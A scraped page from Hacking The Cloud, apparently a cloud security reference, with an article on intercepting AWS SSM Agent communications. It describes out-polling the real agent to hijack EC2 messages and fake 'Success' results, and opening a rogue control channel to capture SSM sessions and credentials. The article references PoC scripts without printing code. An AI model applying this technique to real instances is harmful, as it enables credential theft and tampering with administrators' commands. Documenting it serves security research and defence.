Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#intercept-ec2-messages class=md-nav__link> <span class=md-ellipsis> Intercept EC2 Messages </span> </a> </li> <li class=md-nav__item> <a href=#intercept-ssm-sessions class=md-nav__link> <span class=md-ellipsis> Intercept SSM Sessions </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/intercept_ssm_communications.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Intercept SSM Communications</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://frichetten.com/blog/ssm-agent-tomfoolery/ >Intercept SSM Agent Communications</a> by <a href=https://twitter.com/frichette_n>Nick Frichette </a></p> <p><a class=glightbox href=/images/researchers/nick_frichette.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/nick_frichette.jpg alt="Nick Frichette" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/Frichetten/ssm-agent-research>ssm-agent-research</a></p> </li> </ul> </div> <p>The <a href=https://github.com/aws/amazon-ssm-agent>SSM Agent</a> is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >Metadata Service</a>. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.</p> <p>For an in depth explanation of how this works, please see the <a href=https://frichetten.com/blog/ssm-agent-tomfoolery/ >original research</a>. </p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/issues>issue</a>.</p> </div> <h3 id=intercept-ec2-messages>Intercept EC2 Messages<a class=headerlink href=#intercept-ec2-messages title="Permanent link">&para;</a></h3> <p>The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.</p> <p>By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a "Success" response.</p> <p>Using the ssm-send-command-interception.py PoC:</p> <figure> <p><a class=glightbox href=../../../images/aws/post_exploitation/intercept_ssm_communications/intercept_message.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Intercepting Commands" loading=lazy src=../../../images/aws/post_exploitation/intercept_ssm_communications/intercept_message.png></a></p> </figure> <figure> <p><a class=glightbox href=../../../images/aws/post_exploitation/intercept_ssm_communications/modified_output.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Modified Output" loading=lazy src=../../../images/aws/post_exploitation/intercept_ssm_communications/modified_output.png></a></p> </figure> <h3 id=intercept-ssm-sessions>Intercept SSM Sessions<a class=headerlink href=#intercept-ssm-sessions title="Permanent link">&para;</a></h3> <p>Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.</p> <p>Using the ssm-session-interception.py PoC:</p> <figure> <p><a class=glightbox href=../../../images/aws/post_exploitation/intercept_ssm_communications/block_session.gif data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Session Interception" loading=lazy src=../../../images/aws/post_exploitation/intercept_ssm_communications/block_session.gif></a></p> </figure> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 6, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#intercept-ec2-messages class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Intercept SSM Communications </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear 